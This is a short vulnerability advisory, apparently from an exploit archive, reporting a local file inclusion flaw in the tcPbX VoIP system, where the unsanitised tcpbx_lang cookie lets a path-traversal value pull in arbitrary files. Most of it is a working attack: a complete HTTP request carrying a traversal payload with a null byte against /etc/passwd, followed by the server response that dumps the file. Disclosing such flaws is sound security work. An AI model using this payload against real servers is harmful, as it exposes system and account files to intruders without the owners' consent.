Vulnerable hardware : tcpbx voip distro Vendor : www.tcpbx.org Author : Ahmed sultan (@0x4148) Email : 0x4148@gmail.com Summary : According to the vendor's site , tcPbX is a complete and functional VoIP phone system based on Asterisk open source software and CentOS operating system. The simplified installation and the new administration portal allow you to have a full featured phone system in less than an hour without specific skills on linux or asterisk Vulnerable file : /var/www/html/tcpbx/index.php The software suffer from LFI flaw because of the tcpbx_lang parameter isn't sanitized before being proceeded in the file Request GET /tcpbx/ HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: tcpbx_lang=../../../../../../../../../../etc/passwd%00; PHPSESSID=cupsei1iqmv2bqa81pkcvg4jg1 Connection: close Cache-Control: max-age=0 ----------------------------------- Response HTTP/1.1 200 OK Date: Fri, 19 Aug 2016 15:45:30 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.3 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23874 root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin apache:x:48:48:Apache:/var/www:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash postfix:x:89:89::/var/spool/postfix:/sbin/nologin